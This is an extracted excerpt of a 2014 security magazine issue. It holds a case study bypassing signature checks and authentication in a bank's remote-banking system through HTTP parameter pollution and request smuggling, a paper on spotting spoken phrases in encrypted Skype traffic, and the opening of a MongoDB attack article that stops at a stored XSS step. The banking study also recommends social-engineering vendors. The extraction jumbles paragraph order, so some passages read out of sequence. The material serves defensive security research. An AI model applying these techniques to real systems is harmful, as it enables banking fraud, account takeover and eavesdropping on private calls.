When a software developer tries to implement a brand new shiny secure HTTP
server or client to enforce all those vulnerability-free features he aims at, and
he’s not Google or Microsoft in terms of budget, workforce and release plan, he
is likely to fail.
The first step is to reverse the crypto protocol implemented in the crypto solution.
Generally, the crypto solution does several things:
1. Establishes encrypted tunnel (SSL/TLS or custom VPN – does not matter).
2. Signs every outbound HTTP request on the client. This part of the solution is
usually implemented as a proxy server listening on the client’s localhost.
3. Verifies the integrity and authenticity of incoming HTTP-requests at the cryptoserver side.
4. Passes validated requests to the application server along with crypto-related
metadata provided by the crypto-server.
january 2014 | Issue 10 | HITB 19
Network Security
The purpose of this stage is to find differences in HTTP parsing at crypto server
side where signature checks are performed and at application server side where the
actual request processing takes place. In general we would like to implement the
idea of XML signature wrapping attack but in HTTP, for which we would use protocol
smuggling and parameter pollution.
From our experience almost all crypto server HTTP parsers were implemented from
scratch! Of course their developers had never heard of HTTP parameter pollution,
contamination and HTTP smuggling.
Note by: the case study shows details on how such peculiarities are used to bypass
signature checks.
Fingerprinting HTTP server
The next phase of probing should allow you to extract useful facts about HTTP processing.
• Which HTTP version is supported?
■ does crypto server support multiple HTTP requests per connection?
■ does it support HTTP/0.9
• How does crypto server treat incorrect or duplicate Content-Length headers?
• Which HTTP methods does it support?
• Does crypto server support multipart requests or chunked encoding?
Fingerprinting integration protocol
Our ultimate goal is to inject meaningful messages (rather than random data as in the
previous steps) that would be trusted and happily processed by the application server.
The most common way of transferring metadata from crypto server to application
server is adding custom HTTP headers with each forwarded request. Just like in mobile
world the knowledge of secret control headers ([10]) could give you The Power, the
very same knowledge usually proves disastrous for online banking software.
Ok, so how do we know the names of these control headers:
• guess/ bruteforce;
• read documentation from the crypto server (i.e. admin guide); you may hope
that names of control headers were not changed in current installation by the
implementation engineers;
• social engineer developers of the crypto solution; you may pretend you are a
customer and ask how would their front-end solution communicate the results of
validation process to the back-end;
• read headers back from application; you may occasionally find debug interfaces,
error messages with stack traces or Trace methods being allowed;
• reverse the crypto client or the crypto libraries; the common case is that metadata attached to the egress requests on the client-side crypto end-point would
20 HITB | Issue 10 | january 2014
Case study
It all started as an ordinary hack – a large European bank with a local Russian branch
asked for security analysis of their remote banking web app, which was hardened
with GOST family of crypto algorithms. Right after the start of analysis, we quickly
revealed a bunch of common web app bugs, which allowed, specifically, to enumerate
all existing users and set arbitrary passwords for them. We also found a debug interface
that printed back the whole HTTP request in had received (thus we knew control
headers used to communicate user identity from crypto server to application server).
But the severity of all these bugs was greatly reduced by the crypto: the crypto
server checked digital signatures even for login requests, and even with a known
user login and password you could not log into the system without the valid user
keys (public and private). Also, the client-side crypto end-point stripped all
control headers from the user requests, thus denying us to manipulate and mess
with control headers directly.
The client was implemented as a client-side application level proxy working with
the web browser. It was a closed-source windows app, the traffic dumps gave no
clues (because of encryption), the crypto protocol was unknown (and presumably
custom) without any documentation available. A closer look at the client revealed
that it used crypto primitives from bundled shared libraries, and we could use API
Monitor [9] in order to hook and trace API calls, and after that filter the API traces
to get data that is easy to understand.
Examination of the data buffer containing user data to be encrypted gives a better
view of the client request:
The most interesting parts for us to remember here are Certificate_number header,
which presumably holds the ID of the client key, Form_data and Signature headers,
which apparently hold parameters of the request (query string in this case) and the
digital signature thereof.
The rest of the call trace (see Figure 4) is corresponds to sending the encrypted
and signed data to the crypto server, receiving the response, decryption of the
response, and sending the response back to the browser.
As the result, the browser request, which originally looks like this:
GET /login?name=value HTTP/1.1
Host: 10.6.28.19
is secured by the client side proxy like this:
GET /login?name=value HTTP/1.1
Host: 10.6.28.19
Certificate_number: usr849
Form_data: name=value
Network Security
Indeed, crypto server has to communicate the identity of the verified user to the
application server. The latter one has to trust this information. This is property (i.e.
the communication protocol between crypto server and application server stripped
from crypto primitives) is inherent part of the architecture when developers decide
to use external crypto solution at front-end.
be the very same that is passed to the application server after validation. Indeed,
why change? In this case reversing the client-side would give you the names of
control headers holding Key Id, signature values, and so on.
january 2014 | Issue 10 | HITB 21
Network Security
Figure 4: A closer look at client trace via API Monitor
Signature:
6B8A57A3EA9C25D77C01F4E957D5752C69F61D3451E87D
D18046C51DC9A9AD63C7718708159B7ECF5FC8EDF4424F813DB65E
F5E2D21D2F389E03319CA25D7003
Playing with request methods and parameters we noticed, that client proxy signs
only the query string for GET requests, and only the message body for POST requests.
Figure 5: Examination of data buf reveals the structure of the encrypted request
We deduced that crypto server presumably performed the following checks for
each request:
1. checks that Form_data header reflects the query string/body depending on
the request method;
2. checks that Certificate_number header value points to the same user as
identified by the session cookie (for authenticated requests) or login name for
initial authentication request;
3. validates that Signature header holds valid signature of the Form_data header
using the ID of the key from Certificate_number.
Kinda unbreakable, heh?
Bypassing non-repudiation
Ok, as our methodology suggests, we did a little bit of fingerprinting. Specifically,
we tested for allowed HTTP methods and submitted parameters in query string, in
body and both for each request method.
Figure 7: HEAD requests pass without signing and checks, crypto client only adds
certificate number
22 HITB | Issue 10 | january 2014
Network Security
Figure 6: ... and what data is digitally signed
And here’s what we have found.
1. Client-side proxy did not attach Form_data and Signature headers to HEAD
requests. You can see what happened with HEAD requests on Figure 7.
2. Client-side proxy was unaware that POST requests could contain not only
body parameters, but also query string. In case of POST requests only body
parameters were signed, while query string was passed upstream unmodified.
Now you should be thinking about HTTP parameter pollution (HPP) and passing
parameters with the same name in body and in query string of the POST request.
You can see what happened in case of HPP at Figure 8-9.
january 2014 | Issue 10 | HITB 23
Network Security
Having confirmed that the application server gives precedence to query string
parameters over body parameters with the same name, we concluded the nonrepudiation bypass with the following exploit scheme:
Figure 8: Initial HPP POST request from the client browser
Bypassing authentication
But, who cares about non-repudiation without any working way to bypass
authentication? Recall that we’re currently capable of enumerating users in the
RBS, changing their passwords, and we also can file unsigned requests to the
application server, so that both crypto and application servers treat the requests
as valid and digitally signed.
Now the primary target is to actually log in as any user. As we have already
mentioned, we could enumerate users of the RBS (i.e. know their IDs) and set new
passwords to their accounts. Let us assume that we have chosen to attack user
with ID=0x717 and have set him a new password. Now we would like to log into his
account. Normally, that should be done with request in Figure 12.
Figure 9: How does polluted POST request look like after crypto proxy
The problem with submitting this request is twofold: first of all, client side end-point
strips all control headers submitted with the request. That is, Certificate_number
header will be removed. This could be dealt with by implementing our own cryptoclient that connects to crypto server and passes everything we want. Here we come
with the second problem that is crypto server, which matches the Certificate_number
from the header received in HTTP request to the client certificate, which was used
to establish the secure tunnel. Alas.
We needed another enabling feature. Remember, we are able to submit HEAD
requests with query parameters without any signatures. Another thing we noticed
during fingerprinting was that every time only single HTTP request was submitted
over TCP connection, after which the crypto server closed connection.
Here’s how the crypto client processed two requests in a row, the first one being HEAD:
• it parsed it as one HTTP message with request line, headers and a body;
• it removed any control headers;
• it attached valid Certificate_number header;
• as described earlier, it did not attach any Form_data or Signature headers.
Here’s how the crypto server processed these requests:
• it parsed it as one HTTP message either;
• it verified Certificate_number header to comply with tunnel attributes;
• since it was HEAD request it didn’t validate absent Form_data and Signature headers
and passed the result upstream accompanied with additional control headers.
But the backend application server properly passed the incoming data as two
separate HTTP requests and happily processed both. Now here we come with the
exploit (see Figure 12 and 13).
24 HITB | Issue 10 | january 2014
Figure 10: Final attack vector for non-repudiation
Network Security
We thought, what if we submit two HTTP requests in one TCP connection one after another?
Maybe crypto client and crypto server would treat them as a single HTTP request with a
body and we would be able to do some protocol smuggling? This was the case.
january 2014 | Issue 10 | HITB 25
Network Security
Figure 11: Normal login request
Important point here is the ability to submit control headers with the second
request. Remember, the second request is treated as a body of the first, so it is not
processed at all.
After two requests as shown in the Figure 13 are processed by the client-side crypto
end-point, we would have two valid HTTP requests, the first being sent from our own
user and the second one being send on behalf any user you like.
Figure 12: The crypto client and server see sequential HTTP requests in the same
connection as a single request
Finally, the following design flaws were revealed in the remote banking system:
1. Crypto solution signs only body parameters of outgoing POST requests.
Submitting parameters with the same name in body and in URL will break the
non-repudiation as only body params will get signed while application gives
precedence to URL ones.
3. Both crypto client and server assume that only one HTTP request may be sent
over single TCP connection. As a result, crypto client signs only the first request
sent over TCP connection, and the others are passed without signing. At the same
time crypto web server accepts all requests but validates only the first one. The
others are passed upstream to the web application without modification, and
are treated as digitally signed if accompanied with appropriate control headers
(i.e. Digital-Signature-Id and Digital-Signature-Valid).
Because nothing ever changes…
Conclusion
As the result we achieved to submit fully trusted requests from “malicious” client
to the banking server as if they were generated by legitimate client. We believe
that top-down approach of this kind may be used in almost any custom applicationspecific crypto software because of human factor which is poor or inconsistent
knowledge of modern application protocols and/or complex web frameworks and
their internals. We also believe the case study provided in this paper to be somewhat
valuable for other security researchers.
“I definitely believe that cryptography is becoming less important. In effect, even the
most secure computer systems in the most isolated locations have been penetrated
over the last couple of years by a series of APTs and other advanced attacks,”
Adi Shamir said during the Cryptographers' Panel session at the RSA Conference 2013. ¶
26 HITB | Issue 10 | january 2014
Network Security
Figure 13: The final attack vector for authentication
We may recall quite a number of recently published talks and other related work
with similar techniques and considerations used in our research:
• XML Signature Wrapping
■ another kind of “You can be anything you want to be” by Somorovsky et al [4]
■ “Analysis of Signature Wrapping Attacks and Countermeasures” by Gajek et al [5]
• CWE-347: Improper Verification of Cryptographic Signature [6] and related CVE
• Google for <HPP bypass WAF> - lots of instances.
• CWE-444: Inconsistent Interpretation of HTTP Requests [8] and all the CVE
instances related to it.
• Web App Cryptology: A Study in Failure by Travis H. [7]
• Now and then: Insecure random numbers and Improper PKI implementation as
an example of improper usage of crypto.
january 2014 | Issue 10 | HITB 27
Network Security
2 014
Bibliography
1. RFC 5832. GOST R 34.10-2001: Digital Signature Algorithm. // [HTML] http://tools.ietf.org/html/
rfc5832
2. B
SS Client // http://www.bssys.com/solutions/financial-institutions/dbo-bs-client/bank-client/ (In
Russian)
3. Bifit Client // http://www.bifit.com/ru/ (In Russian)
4. S
omorovsky, Juraj, et al. "On breaking saml: Be whoever you want to be." Proceedings of the
21st USENIX Security Symposium, Bellevue, WA, USA. 2012.
5. G
ajek, Sebastian, et al. "Analysis of signature wrapping attacks and countermeasures." Web
Services, 2009. ICWS 2009. IEEE International Conference on. IEEE, 2009.
6. C
WE-347: Improper Verification of Cryptographic Signature // [HTML] http://cwe.mitre.org/data/
definitions/347.html
7. Travis H. “Web App Cryptology: A Study in Failure”. OWASP AppSec USA 26, 2012. // https://
www.owasp.org/images/2/2f/Web_app_crypto_20121026.pdf
8. CWE-444: Inconsistent Interpretation of HTTP Requests // [HTML] http://cwe.mitre.org/data/
definitions/444.html
9. API Monitor // http://www.rohitab.com/apimonitor
10. Bogdan Alecu. “Using HTTP headers pollution for mobile networks attacks”. // EuSecWest 2012.
28 HITB | Issue 10 | january 2014
Practical Attacks
Against Encrypted
VoIP Communications
Dominic Chell, Shaun Colley, [email protected]
1. Introduction
VoIP has become a popular replacement for traditional copper-wire telephone
systems as businesses look to take advantage of the bandwidth efficiency and low
costs that are associated with the technology. Indeed, in March 2013 Point Topic
recorded the combined total of global VoIP subscribers to be 155.2 million1. With
such a vast subscriber base in both consumer and corporate markets, in the interests
of privacy it is imperative that communications are secured.
The privacy associated with popular VoIP software is increasingly a concern, not
only for individuals but also for corporations whose data may be discussed in VoIP
phone calls. Indeed, this has come under greater scrutiny in light of accusations of
wiretapping and other capabilities against encrypted VoIP traffic, such as the PRISM
and BULLRUN programmes allegedly operated by the NSA and GCHQ2.
Like with many transports, it is generally accepted that encryption should be used
to provide end-to-end security of communications. While there is extensive work
covering the security of VoIP control channels and identifying implementation flaws,
little work that assesses the security of VoIP data streams has been published.
This whitepaper detail demonstrable methods of retrieving information from
spoken conversations conducted over encrypted VoIP data streams. This is followed
with a discussion of the possible ramifications this may have on the privacy and
confidentiality of user data in real world scenarios.
2. previous Work
3. VoIP Brackground information
Within this section, we provide the reader with a brief overview of the fundamentals
of VoIP communications and the essential background information specific to
understanding our attack.
1 http://point-topic.com/free-analysis/global-voip-subscriber-numbers-q1-2013/
2 http://www.theguardian.com/world/2013/sep/05/nsa-gchq-encryption-codes-security
30 HITB | Issue 10 | january 2014
Network Security
There is very little previous work from the security community that has been
published in this area. However, several notable academic papers discuss traffic
analysis of VoIP communications in detail. In particular, the following publications
are relevant:
● Language Identification of Encrypted VoIP Traffic, Charles V. Wright Lucas
Ballard Fabian Monrose Gerald M. Masson; http://www.cs.jhu.edu/~cwright/
voip-vbr.pdf
● Uncovering Spoken Phrases in Encrypted Voice over IP Communications,
Charles V. Wright, Lucas Ballard, Scott E. Coull, Fabian Monrose, Gerald M.
Masson; http://www.cs.jhu.edu/~cwright/voip-vbr.pdf
● Uncovering Spoken Phrases in Encrypted VoIP Conversations, Goran Doychev,
Dominik Feld, Jonas Eckhardt, Stephan Neumann; http://www.infsec.cs.unisaarland.de/teaching/WS08/Seminar/reports/yes-we-can.pdf
● Analysis of information leakage from encrypted Skype conversations, Benoît
Dupasquier, Stefan Burschka, Kieran McLaughlin, Sakir Sezer; http://link.
springer.com/article/10.1007%2Fs10207-010-0111-4
january 2014 | Issue 10 | HITB 31
Network Security
Similar to traditional digital telephony, VoIP communications involve signalling,
session initialisation and setup as well as encoding of the voice signal. VoIP
communications can typically be separated in to two separate channels that perform
these actions; the control channel and the data channel.
3.1 Control Channel
The control channel operates at the application-layer and performs the call setup,
termination and other essential aspects of the call. To achieve this, a signalling
protocol is used with popular open implementations including: the Session Initiation
Protocol; the Extensible Messaging and Presence Protocol; and H.323; as well as
closed, application dependent protocols such as Skype.
Control channel communications will exchange sensitive call data such as details on
the source and destination endpoints and can be used for modifying existing calls. As
such, many signalling implementations will support encryption to protect the data
exchange; an example of this is SIPS which adds Transport Layer Security (TLS) to
the SIP protocol. The control channel is typically performed over TCP and is used to
establish a direct UDP data channel for voice traffic to be transferred. It is this data
communication channel that is the primary focus of this research, as opposed to the
signalling data.
3.2 Data Channel
Voice data is digitally encoded, and in some cases compressed, before being sent over
the network via UDP in the data channel. The voice data will typically be transmitted
using a transport protocol such as Real-time Transport Protocol (RTP)3 or a similar
derivative.
Due to the often sensitive nature of the content being communicated across the data
channel, it is commonplace for VoIP implementations to encrypt the data flow to
provide confidentiality. Perhaps the most common way this is achieved is using the
Secure Real-time Transport Protocol (SRTP)4.
3.2 Codecs
Codecs are used to convert the analogue voice signal into a digitally encoded and
compressed representation. In VoIP, there will always be a trade-off between
bandwidth limitations and voice quality; it is the codec that determines how to
strike a balance between the two.
Perhaps the most widely used technique for speech analysis is the Code-Excited
Linear Prediction (CELP)5 algorithm.
CELP encoders work by trying all possible bit combinations in the codebook and
selecting the one that is the closest match to the original audio, essentially
performing a brute-force. In some CELP implementations and similar encoder
variations, the encoder determines a varying bit rate for each packet in the encoded
stream with the aim of achieving a higher quality of audio without a significant
increase in bandwidth.
Variable Bitrate Codecs
When encoding a speech signal, the bit rate is the number of bits over time required
to encode speech, typically this is measured in either bits per second or kilobits per
second. Variable bit-rate (VBR) implementations allow the codec to dynamically
modify the bit-rate of the transmitted stream. In codecs such as Speex6 when used in
VBR mode, the codec will encode sounds at different bit rates. For example, Speex
will encode fricative consonants7 at a lower bit rate than vowels.
Consider the following graph which shows the packet lengths of a sentences
containing a number of fricatives, over time:
FIGURE 1: Packet lengths over time
“None of the pre-defined encryption transforms uses any
padding; for these, the RTP and SRTP payload
sizes match exactly.”
As a consequence, in some
scenarios this leads to
information leakage that
can be used to deduce call
content, as discussed in
greater detail later.
3 http://www.ietf.org/rfc/rfc3550.txt
4 http://www.ietf.org/rfc/rfc3711.txt
32 HITB | Issue 10 | january 2014
It can be seen from the graph, that there are a number of troughs. These can be
roughly mapped to the fricatives in the sentence.
5 http://en.wikipedia.org/wiki/Code-excited_linear_prediction
6 http://www.speex.org/
7 http://en.wikipedia.org/wiki/Fricative_consonant
Network Security
SRTP provides encryption and authentication of the encoded RTP stream, however it
does not apply padding and thus preserves the original RTP payload size. Indeed, the
RFC specifically states:
january 2014 | Issue 10 | HITB 33
Network Security
the HMM’s outputted sequence, until state E is reached, at which point the process
terminates. The B and E states are silent states. Consider the diagram, which
illustrates a hypothetical state path.
The advantage of VBR codecs is primarily that it produces a significantly better
quality-to-bandwidth ratio when compared with a constant bit rate codec and so
poses an attractive choice for VoIP; especially as bandwidth may not be guaranteed.
Best Path
4. Natural Language Processing
Although there can be a great number of possible state paths that the HMM can take
from state B to E, there is always a best path for each possible output sequence. It
follows that since this in the best path, it is also the most likely path. The Viterbi
algorithm can be used to discover the most probable path for a given observation
sequence. The Viterbi9 algorithm uses dynamic programming techniques, and
although a description is beyond the scope of this document, many explanations and
implementations of Viterbi are available on the Internet.
The techniques we use in our work and demonstrations to elucidate sensitive
information from encrypted VoIP streams are borrowed from the Natural Language
Processing (NLP) and bioinformatics communities.
The two main techniques we use in our attacks are profile Hidden Markov Models
(HMM)8 and Dynamic Time Warping (DTW). Thanks to their ability to perform types
of sequence and pattern matching, both of these methods have found extensive use
in NLP (i.e. DTW and HMM for speech recognition) and bioinformatics (i.e. HMM for
protein sequence alignment).
Probability of a Sequence
In addition to being able to find the best path for an observation sequence, it is also
useful to be able to compute the probability of a model outputting an observation
sequence; the Forward and Backward10 algorithms are useful for this purpose.
Having the ability to determine the probability of a model producing a specific
output sequence has particularly useful applications, and has seen widespread use in
bioinformatics (i.e. protein sequence alignment) and Natural Language Processing,
such as for speech recognition. One of our attacks, discussed later, will rely on all
three of the algorithms mentioned thus far; Viterbi, Forward and Backward.
We will now cover some background on both of these techniques in order to explore
their relevance in VoIP traffic analysis attacks.
4.1 Hidden Markov Models
Hidden Markov Models (HMM) are a type of statistical model that assign probabilities
to sequences of symbols. A HMM can be thought of as a model that generates
sequences by following a series of steps.
When a transition occurs, and the
HMM finds itself in a silent state,
the model just decides where to
transition to next, according to the
state’s transition distribution. The
state is silent in the sense that no
symbol is emitted. However, if the
state is not silent, the model picks
an output symbol according to
the state’s emission distribution,
outputs this symbol, and then
carries on with transitioning
from state to state. As the model
continues to move between states,
these emitted symbols constitute
8 http://en.wikipedia.org/wiki/Hidden_Markov_model
34 HITB | Issue 10 | january 2014
FIGURE 2: Example State Path
The real usefulness of HMMs becomes apparent when considering that Hidden Markov
Models can be trained according to a collection of output sequences.
The Baum-Welch algorithm11 is commonly used to estimate (making use of the
Forward and Backward algorithms) the emission and transition probabilities of a
model, assuming it previously output a particular set of observation sequences.
Source: http://commons.wikimedia.org/wiki/File:HiddenMarkovModel.png
A Hidden Markov Model consists of a number of finite states. It always begins in the
Begin state (B), and ends in the End state (E). In order to move from state B to state E the
model moves from state to state, randomly, but according to a transition distribution.
For example, if a transition from state T to state U happens, this happens according
to T’s transition distribution. It’s worth noting that since these transitions are Markov
processes, each transition happens independently of all other choices previous to that
transition; the step only depends on what state the HMM is currently in.
Training
Thus, we can essentially build a HMM from a set of training data. Following this,
we could then “ask” the model using Viterbi or Forward/Backward what the
probability is of an arbitrary sequence having been produced by the
model. This allows us to train a HMM with a collection of data, and then
use the model to recognise similar sequences to the training data.
This forms the very basis of using HMMs for the many types of
pattern and speech recognition. Of course, in the context of say,
speech recognition, “sequences of symbols” would perhaps be
sequences of signal amplitudes, and in the context of protein
sequence alignment, the possible output symbols would be the
four amino acids.
Profile Hidden Markov Models
Profile Hidden Markov Models are a type of HMM. The most
9 http://en.wikipedia.org/wiki/Viterbi_algorithm
10 http://en.wikipedia.org/wiki/Forward%E2%80%93backward_algorithm
11 http://en.wikipedia.org/wiki/Baum%E2%80%93Welch_algorithm
With the presence of insert and delete states, the model is still likely to recognise
the following sequences, which have an insertion and deletion, respectively:
Insertion
ABXCD
Deletion
ABD
Profile HMMs are particularly useful for application in traffic analysis as outputs
of audio codecs and transmission as IP packets will seldom be identical even for
utterances of the same phrase even by the same speaker. For this reason, we need
our models to be more “forgiving”, since IP traffic is very unlikely to be identical
even for very similar audio inputs.
4.2 Dynamic Time Warping
is a prototypical sequence considered to be typically produced by some process.
In speech recognition, this would be a typical utterance of the phrase in question;
generally known as a “template”.
The two sequences can be arranged perpendicular to one another on adjacent sides
of a grid, with the input sequence on the bottom, and the template sequence up the
vertical side. Consider the diagram over the facing page.
Inside each of the cells we
then place a distance measure
comparing the corresponding
elements of the two sequences.
The best match between these
sequences is then found by
finding a path through the grid
that minimises the total distance
between them. From this, the
overall distance between the two
sequences is calculated, giving an
overall distance metric. This may
be known as the DTW distance.
FIGURE 3: DTW Time Series
Source: http://cst.tu-plovdiv.bg/bi/DTWimpute/DTWalgorithm.html
Network Security
notable addition to standard HMM topologies are the addition of insert and delete
states. These two states allow HMMs to recognise sequences that have additions or
insertions. For example, consider the following hypothetical sequence, which a HMM
has been trained to recognise:
ABCD
Dynamic Time Warping is an algorithm for measuring the similarity between two
sequences, which may vary in time or speed. DTW has seen widespread use in speech
recognition, speaker recognition, signature recognition and other video, audio and
graphical applications.
Accordingly, this metric yields how
similar the two sequences are.
Although DTW is an older and somewhat simpler technique than HMMs that has largely
been replaced by HMMs, DTW is still of interest to us in our traffic analysis attack
because it takes into account the temporal element that network traffic intrinsically
has. A stream of network packets or datagrams, in essence, constitutes a time series.
With the necessary background aptly covered, we now describe the two attacks that
will demonstrated at HackinTheBox (2013, Kuala Lumpur). The associated proof of
concepts can be found on the MDSec website following the conference (http://www.
mdsec.co.uk).
5. Side Channel Attacks
We describe here our traffic analysis attack using profile Hidden Markov Models for
traffic analysis, using Skype as the case study. Later, we also describe an attack that
uses Dynamic Time Warping, with the same aim of “spotting” sentences and phrases
in Skype conversations.
To illustrate this with an example, consider the two sequences of integers:
5.1 Profile Hidden Markov Models
0 0 0 4 7 14 26 23 8 3 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 6 13 25 24 9 4 2 0 0 0 0 0
If we simply compared these sequences “component-wise” the two appear to be very
different. However, if we compare their characteristics, they have some similarities;
the sequences are both 8 integers in length, and they both have a “peak” at 25-26.
Simply comparing these sequences from their entry points disregards features of the
sequences that we think of as “shape” (i.e. if plotted).
In the context of speech recognition applications, one of the sequences is the
sequence “to be tested”, such as an incoming voice signal, and the other sequence
36 HITB | Issue 10 | january 2014
Skype uses the Opus codec12 in VBR mode and as previously noted, spoken phonemes
are generally reflected in the packet lengths when in VBR mode. Since Skype uses
AES encryption in ICTR mode (“integer counter” mode), the resulting packets are
not padded up to specific size boundaries.
Consequently, this means that similar utterances generally result in similar
sequences of packet lengths. Consider the following graph, which represents the
payload lengths vs. time plotted for three packet captures; two of the same phrase
versus an utterance of a completely different phrase. All phrases were spoken by
the same speaker over a Skype voice conversation. Note the following packet dumps
12 http://www.opus-codec.org/
Network Security
Furthermore, speech is also a time-dependent process, which is what these attacks
are focused on. A speaker may utter a phrase in a similar manner to another person
with a similar accent, but they may utter the phrase faster or slower. DTW was in fact
first used to recognise similar utterances which were spoken at different speeds.
january 2014 | Issue 10 | HITB 37
Network Security
FIGURE 4: Packet Lengths over time. Blue and red represent the same phrase,
green is a different phrase
or played over a Skype voice chat. Our approach to this was a simple one; we first
created a directory containing all samples we wished to include in the dataset, in RIFF13
format. We then setup a packet sniffer – tcpdump, in our case – and initiated a voice
chat between two Skype accounts. This resulted in encrypted UDP traffic between the
two computers, in a “peer-to-peer” fashion, i.e. directly between the two systems.
We played each of the soundtracks across the Skype session using VLC Media player14,
with five second intervals of silence between each track. A BASH loop similar to the
following was used:
for((a=0;a<400;a++)); do
/Applications/VLC.app/Contents/MacOS/VLC --no-repeat
-I rc --play-and-exit $a.rif ; echo "$a " ; sleep 5 ;
done
Meanwhile, tcpdump was configured to log all traffic flowing to the other test system.
tcpdump -w training.pcap dst <dest_ip>
Once all training data had been collected, sequences of UDP payload lengths were
extracted via means of automated PCAP file parsing.
were not collected under proper experimental conditions; the plots below simply
aim to demonstrate the audio input vs. packet payload length relationship.
The resulting payload length sequences were then used to train a profile HMM using
the Baum-Welch algorithm.
The fact that similar utterances bear resemblance to one another represents a
significant information leak; it shouldn’t be possible to divulge any information
about the nature of encrypted content whatsoever. This issue may be referred to as
a side-channel attack, since attacks don’t reveal the actual contents of encrypted
conversations; instead, analytical techniques are used to deduce the information.
It should be noted, however, that similar utterances of a given phrase or sentence
seldom produce the exact same sequence of packet lengths. There are several
reasons for this; among these are accent differences between different speakers,
background noise and speed at which the phrase is spoken. It is therefore not possible
to spot spoken phrases via a substring matching method, since even utterances by
the same speaker will not yield the exact same sequence of packet lengths.
It should be noted that all collection of training data should be carried out in quiet
environments with little background noise.
Recordings of particular sentences were selected to avoid speakers with radically
different accents and timings.
1) Train a profile HMM for the target phrase,
2) Capture Skype traffic,
3) “Ask” the profile HMM if the test sequence is likely to be an utterance of the
target phrase.
Collecting Training Data
Our primary requirement to build a profile HMM for a target phrase is training data;
that is, many packet captures of traffic that resulted in the target phrase being spoken
38 HITB | Issue 10 | january 2014
Once a viable model has been formed from sensible training data, sequences of
packet lengths can be “queried” against the model; in an attempt to determine how
likely it is that the traffic corresponds to an utterance of the target phrase.
A scoring threshold must be established. A log-odds (or otherwise) score above which
the traffic was considered a “hit” (traffic matched the phrase) must be decided
on manually. Then, accordingly, if a payload length sequence scores above this
threshold, we consider it a “hit”, and if not, a “miss” is recorded.
The following screenshot demonstrates the output from our proof of concept code
when provided with a PCAP file for a phrase that exists within the training data:
5.2 Dynamic Time Warping
This attack makes use of the Dynamic Time Warping algorithm to “spot” sentences,
similarly to the previous profile HMM attack. We do this for comparison of the efficacies
13 http://en.wikipedia.org/wiki/Resource_Interchange_File_Format
14 http://www.videolan.org
Network Security
One solution is the use of the profile Hidden Markov Model. Such an attack, in its
most basic form, can be used to spot known phrases in Skype traffic. The attack can
be summarised as follows:
Searching and Scoring
january 2014 | Issue 10 | HITB 39
Network Security
FIGURE 5: A phrase being detected in an encrypted Skype conversation
models. The DTW distance is then compared to a predetermined scoring threshold
and is accordingly deemed to be a probable “hit” or probable “miss” with respect to
the target sentence or phrase.
6. Conclusions
Our research has concluded that Variable Bit Rate codecs are unsafe for sensitive
VoIP transmission, when encrypted with a length preserving cipher. Indeed, the
results of our research demonstrated that given sufficient training data, it is possible
to deduce spoken conversations in encrypted transmissions.
Our results indicate that using Profile Hidden Markov Models analysis techniques, it is
possible, in some cases, to achieve over 90% reliability in discovering spoken phrases
in encrypted conversations. Additionally, it is in some cases possible to detect known
phrases in conversations using or Dynamic Time Warping with over 80% reliability,
using much less training data than in Profile HMM attacks.
Consequently, the use of a codec in VBR mode with an encrypted transport such as
SRTP or other VoIP protocols, with its default encryption, should be avoided.
of the two techniques and to demonstrate two different methodologies that can be used
for traffic analysis, and in particular, sentence spotting in encrypted traffic streams.
Collecting Training Data
As opposed to the profile HMM method, DTW does not require a large set of training
data. We collect data in much the same way as in the profile HMM experiment. That
is, by playing audio samples over a Skype session using a loop similar to the following:
for((a=0;a<400;a++)); do
/Applications/VLC.app/Contents/MacOS/VLC --no-repeat
-I rc --play-and-exit $a.rif ; echo "$a " ; sleep 5 ;
done
Some guidance is offered in RFC656216 for use of VBR codecs with SRTP which
suggests that RTP padding may provide a reduction in information leakage. However,
ultimately in scenarios where by a high degree of confidentiality is required it is
advised that a Constant Bit Rate codec is negotiated during VoIP session initiation. ¶
16 http://tools.ietf.org/html/rfc6562
And, as before, the data is captured via tcpdump, i.e.
Each packet sequence was extracted from the resulting PCAP file in an automated
fashion, and models were created for each using the DTW algorithm. Each utterance
was the exact same recording being played over the Skype conversation.
Speaker Independence
Based on the suggestions of Benoît Dupasquier et al.15, the Kalman filter was applied to
each of the training data sets to avoid the need for large amounts of training data. In this
way, speaker-dependence is somewhat removed from the template models created.
Scoring
The DTW algorithm is then used to compare test data to the prepared models. This
produces a DTW distance between the test packet sequence and the template
15 http://link.springer.com/article/10.1007%2Fs10207-010-0111-4
40 HITB | Issue 10 | january 2014
Network Security
tcpdump -w training.pcap dst <dest_ip>
january 2014 | Issue 10 | HITB 41
Database Security
Figure 1: Shodan provides a lot of results!
Attacking MongoDB:
Attack Scenarios Against a
NoSQL Database
Figure 2: The same with Google!
Mikhail 'cyber-punk' Firstov, Positive Technologies
D
evelopers use NoSQL databases for various applications more and more often today. NoSQL attack methods are poorly known and less common as
compared with SQL Injections. This article focuses on possible attacks
against a web application via MongoDB vulnerabilities.
The ABC of MongoDB
Before dealing with MongoDB vulnerabilities, I should explain the essence of this database. Its name is quite familiar to everybody: if looking through materials related
to well-known web projects, almost all of them contain references to NoSQL databases, and MongoDB is used most often in this context. Moreover, Microsoft offers to
use MongoDB as a nonrelational database for the cloud platform Azure, which proves
the idea that very soon this database will be applied to corporate software as well.
Script) code execution, and multiple CSRF. This was very amusing, so I decided to go
further :) Figure 3 demonstrates how this very REST interface looks like.
Figure 3: Unremarkable REST interface
Downloading MongoDB installation kit, you can see two executable files: Mongo and
mongod. Mongod is a database server, which stores data and handles requests. And
Mongo is an official client written in C++ and JS (V8).
Install, Watch, Research
I'm not going to describe the way a database is installed: developers make everything
possible to ease this process even without using manuals. Let's focus on features that
seem really interesting. The first thing is a REST interface. It is a web interface,
which runs by default on port 28017 and allows an administrator to control their
databases remotely via a browser. Working with this DBMS option, I found several
vulnerabilities: two stored XSS vulnerabilities, undocumented SSJS (Server Side Java
42 HITB | Issue 10 | january 2014
I'm going to detail the above mentioned vulnerabilities. The fields Clients and Log
have two stored XSS vulnerabilities. It means that making any request with HTML
code to the database, this code will be written to the source code of the page of the
REST interface and will be executed in a browser of a person, who will visit this page.
These vulnerabilities make the following attack possible:
Database Security
In brief, MongoDB is a very high-performance (its main advantage), scalable (easily
extended over several servers, if necessary), open source (can be adjusted by large
companies) database, which falls in the NoSQL category. The last option means it
does not support SQL requests, but it supports its own request language. If going into
details, then MongoDB uses a document-oriented format (JSON-based) to store data
and does not require table description.
january 2014 | Issue 10 | HITB 43
Database Security
1. Send a request with the tag SCRIPT and JS address.
